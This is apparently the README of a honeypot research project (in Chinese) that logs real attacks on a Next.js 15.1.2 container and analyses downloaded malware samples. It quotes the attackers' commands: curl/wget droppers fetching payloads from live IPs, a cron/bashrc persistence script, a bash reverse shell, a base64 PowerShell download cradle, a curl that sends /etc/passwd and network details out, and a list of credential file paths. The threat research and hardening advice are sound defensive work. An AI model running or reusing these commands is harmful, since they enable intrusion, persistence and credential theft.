本專案收集了一個暴露在網際網路上的 Next.js 15.1.2 應用程式(執行於 Docker 容器中)所記錄的真實攻擊日誌。這些日誌展示了 CVE-2025-66478 漏洞在野外被大量自動化攻擊工具掃描和利用的情況。
紀錄時間範圍: 2025-12-04 ~ 2025-12-06(約 48 小時)
環境資訊:
- 框架: Next.js 15.1.2
- 執行環境: Bun v1.2.20
- 容器: Docker (Alpine Linux)
- 時區: Asia/Taipei
攻擊者嘗試透過漏洞執行下載惡意程式並執行的指令。
| 攻擊來源 IP | 惡意載荷 URL | 說明 |
|---|---|---|
| 216.158.232.43 | http://216.158.232.43:12000/sex.sh |
殭屍網路/挖礦程式 |
| 38.207.161.212 | http://38.207.161.212/agent |
惡意 agent 程式 |
| 43.156.63.124 | http://43.156.63.124/tsd |
植入 cron 後門 |
| 154.38.121.219 | res.qiqigece.top/nginx3 |
偽裝成 nginx 的惡意程式 |
| 47.79.42.91 | iot.632313373.xyz/nz.sh |
IoT 殭屍網路腳本 |
| 47.79.65.237 | sup001.oss-cn-hongkong.aliyuncs.com/python1.sh |
挖礦/後門程式 |
| 103.135.101.15 | http://103.135.101.15/wocaosinm.sh |
惡意腳本 |
| 38.12.24.231 | http://38.12.24.231/kworker |
偽裝成 kernel worker 的惡意程式 |
| 128.199.194.97 | http://128.199.194.97:9001/setup2.sh |
初始化腳本 |
# 典型的 dropper 攻擊
curl -fsSL http://38.207.161.212/agent -o /tmp/.a && chmod +x /tmp/.a && /tmp/.a
# 植入 cron 持久化後門
curl -s -o /etc/cron.hourly/tsd http://43.156.63.124/tsd && chmod +x /etc/cron.hourly/tsd
# 複雜的持久化攻擊(嘗試多種下載方式 + cron + bashrc)
u='http://38.12.24.231/kworker'; n='kworker';
for d in $HOME/.config/sys_monitor /tmp/.sys_monitor /dev/shm/.sys_monitor /var/tmp/.sys_monitor; do
mkdir -p $d;
if [ -w $d ]; then
p="$d/$n";
(curl -ks $u -o $p || wget -q --no-check-certificate $u -O $p || python3 -c "import urllib.request;urllib.request.urlretrieve('$u','$p')");
chmod +x $p;
nohup $p >/dev/null 2>&1 &
(crontab -l 2>/dev/null | grep -v $n; echo "* * * * * $p >/dev/null 2>&1") | crontab -;
echo "$p >/dev/null 2>&1 &" >> ~/.bashrc;
echo "$p >/dev/null 2>&1 &" >> ~/.zshrc;
fi;
done攻擊者嘗試建立反向 shell 連線以取得互動式存取。
# Bash 反向 shell
bash -c "bash -i >& /dev/tcp/154.26.192.32/19899 0>&1"攻擊者假設目標是 Windows 系統,嘗試執行 PowerShell 指令。
# Base64 編碼的惡意 PowerShell
powershell -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAYwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADUANgAuADIAMwA0AC4AMgAwADkALgAxADAAMwA6ADYAMwA5ADMAOAAvAG4AcgBDAHIAUQAnACkA
# 解碼後:
# IEX (New-Object System.Net.Webclient).DownloadString('http://156.234.209.103:63938/nrCrQ')
# 數學計算用於漏洞確認
powershell -c "41*271" # = 11111(特徵碼確認)
powershell -c "44225*41002" # = 1814113450攻擊者嘗試收集系統資訊以便後續攻擊。
# 系統資訊收集並外傳
curl http://38.60.212.106:8000/?data=`(hostname;ip addr show;id;ip route show;ip neigh show;route -n;cat /etc/passwd;hostname -I) | base64 -w 0`攻擊者嘗試讀取各種敏感檔案和憑證。
| 類別 | 路徑 |
|---|---|
| 雲端憑證 | /root/.aws/credentials, /root/.aws/config |
/root/.config/gcloud/credentials.db |
|
/root/.config/gcloud/application_default_credentials |
|
| SSH 金鑰 | /root/.ssh/id_rsa, /root/.ssh/config |
| Git 憑證 | /root/.git-credentials, /root/.gitconfig |
| 容器/K8s | /root/.docker/config, /root/.kube/config |
/var/lib/kubelet/config.yaml |
|
| 應用程式 | /proc/self/cwd/serviceAccountKey.json(Firebase) |
/proc/self/cwd/prisma/.env, /proc/self/cwd/prisma/schema.prisma |
|
| Shell 歷史 | /root/.bash_history, /root/.zsh_history |
| 雲端工具 | /root/.ossutilconfig(阿里雲 OSS) |
/root/.npmrc |
|
| 系統設定 | /etc/ansible/ansible.cfg, /etc/passwd, /etc/shadow |
透過漏洞成功外洩的容器環境變數:
HOSTNAME=6973aeebae41
BUN_INSTALL_BIN=/usr/local/bin
HOME=/root
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/local/bun-node-fallback-bin
PWD=/app
TZ=Asia/Taipei
NODE_ENV=production
BUN_RUNTIME_TRANSPILER_CACHE_PATH=0
攻擊者使用 DNS 查詢進行資料外傳或漏洞確認:
ping 5a58e4a0.log.dnslog.pp.ua.大多數攻擊之所以失敗,是因為 Alpine Linux 容器的精簡特性:
| 缺少的工具 | 影響 |
|---|---|
curl |
無法下載惡意載荷 |
bash |
無法執行 bash 特定語法(如反向 shell) |
powershell |
Windows 攻擊無效 |
python |
無法使用 Python 下載器 |
雖然 wget 可用,但部分惡意腳本內部仍依賴 curl 或 bash,導致執行失敗。
日誌中包含大量 Base64 編碼的資料,以下是部分解碼結果:
# digest: 'cm9vdAo='
解碼: root
# digest: 'dGVzdAo='
解碼: test
# digest: 'dnVsbmVyYWJpbGl0eV90ZXN0Cg=='
解碼: vulnerability_test
# digest: 'dWlkPTAocm9vdCkgZ2lkPTAocm9vdCkgZ3JvdXBzPTAocm9vdCksMShiaW4pLDIoZGFlbW9uKSwzKHN5cyksNChhZG0pLDYoZGlzayksMTAod2hlZWwpLDExKGZsb3BweSksMjAoZGlhbG91dCksMjYodGFwZSksMjcodmlkZW8pCg=='
解碼: uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
# /tmp 目錄內容
dG90YWwgMjAKZHJ3eHJ3eHJ3dCAgICAxIHJvb3QgICAgIHJvb3QgICAgICAgICAgNDA5NiBEZWMgIDUgMTg6MDAgLgpkcnd4ci14ci14ICAgIDEgcm9vdCAgICAgcm9vdCAgICAgICAgICA0MDk2IERlYyAgNCAxMzozNiAuLgotcnd4ci14ci14ICAgIDEgcm9vdCAgICAgcm9vdCAgICAgICAgICA5ODQ4IERlYyAgNSAxODowMCBJTlNUQUxMCg==
解碼:
total 20
drwxrwxrwt 1 root root 4096 Dec 5 18:00 .
drwxr-xr-x 1 root root 4096 Dec 4 13:36 ..
-rwxr-xr-x 1 root root 9848 Dec 5 18:00 INSTALL
以下是紀錄到的攻擊來源 IP 位址:
| IP 位址 | 國家/地區(推測) | 攻擊類型 |
|---|---|---|
| 216.158.232.43 | 美國 | Dropper |
| 38.165.44.205 | 美國 | Dropper |
| 23.95.44.80 | 美國 | Dropper |
| 154.38.121.219 | 香港 | Malware(nginx3) |
| 38.207.161.212 | 美國 | Agent |
| 43.156.63.124 | 中國 | Cron 後門 |
| 47.79.42.91 | 中國(阿里雲) | IoT 殭屍網路 |
| 47.79.65.237 | 中國(阿里雲) | 挖礦程式 |
| 119.45.243.154 | 中國(騰訊雲) | 挖礦程式 |
| 144.22.210.54 | 巴西 | Dropper |
| 217.60.249.228 | 瑞典 | Dropper |
| 154.26.192.32 | 美國 | 反向 Shell |
| 156.234.209.103 | 未知 | PowerShell 載荷 |
| 38.60.212.106 | 美國 | 資訊收集 |
| 103.135.101.15 | 越南 | 殭屍網路 |
| 128.199.194.97 | 新加坡(DigitalOcean) | Setup 腳本 |
| 38.12.24.231 | 美國 | 持久化惡意程式 |
攻擊者嘗試呼叫不存在的 Server Action:
Failed to find Server Action "dev-only-action"
Failed to find Server Action "non_existent_action_id"
Failed to find Server Action "test"
Failed to find Server Action "x"
攻擊者利用錯誤訊息中的 digest 欄位來外洩資料:
Error: x
digest: 'cm9vdAo=' // Base64 編碼的 'root'- 最小化映像檔: 使用精簡的基礎映像檔(如 Alpine)可減少攻擊面
- 移除非必要工具: 不安裝
curl,bash,python等可能被濫用的工具 - 唯讀檔案系統: 使用
--read-only執行容器 - 非 root 使用者: 以非特權使用者執行應用程式
- 升級 Next.js 至已修補版本
- 驗證 Server Action 的輸入
- 實施 WAF 規則過濾可疑請求
- 監控異常的子程序執行
- 監控網路對外連線請求
- 監控敏感檔案存取嘗試
本專案僅供資安教育與研究目的。所有紀錄的攻擊都是針對研究用蜜罐的真實攻擊嘗試。請勿將此資訊用於任何非法目的。
本專案包含從攻擊日誌中擷取並下載的真實惡意程式樣本,詳細分析請見:
| 檔案 | 類型 | 大小 | 來源 | 威脅等級 |
|---|---|---|---|---|
| nz.sh | Shell Script | 931 B | iot.632313373.xyz | 中 |
| tsd.sh | Shell Script | 1.7 KB | 43.156.63.124 | 高 |
| tsd | ELF 64-bit | 6.8 MB | 43.156.63.124 | 高 |
| init.sh | Shell Script | 6.1 KB | AWS S3 | 嚴重 |
| agent | ELF 64-bit | 23.7 MB | AWS S3 | 嚴重 |
| Agtisx.exe | PE32+ (Windows) | 24.0 MB | AWS S3 | 嚴重 |
- nz.sh - 安裝哪吒監控 Agent,用於遠端監控受害主機
- tsd.sh + tsd - 建立多重持久化機制(cron + systemd + rc.local)
- init.sh + agent - 完整的後門框架,支援多系統、自動重啟、日誌紀錄
MIT License